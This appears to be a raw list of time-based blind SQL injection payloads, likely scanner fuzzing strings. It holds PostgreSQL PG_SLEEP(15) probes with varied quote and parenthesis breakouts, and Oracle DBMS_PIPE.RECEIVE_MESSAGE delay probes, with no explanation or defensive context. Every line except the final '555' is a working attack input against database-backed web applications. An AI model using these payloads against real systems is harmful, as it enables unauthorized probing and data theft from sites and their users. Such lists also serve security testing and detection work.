555-1 OR 661=(SELECT 661 FROM PG_SLEEP(15))--

555-1) OR 401=(SELECT 401 FROM PG_SLEEP(15))--

555-1)) OR 991=(SELECT 991 FROM PG_SLEEP(15))--

5553kk5S6pm' OR 503=(SELECT 503 FROM PG_SLEEP(15))--

555ODCLxOu8') OR 383=(SELECT 383 FROM PG_SLEEP(15))--

555ZCH5bZun')) OR 632=(SELECT 632 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555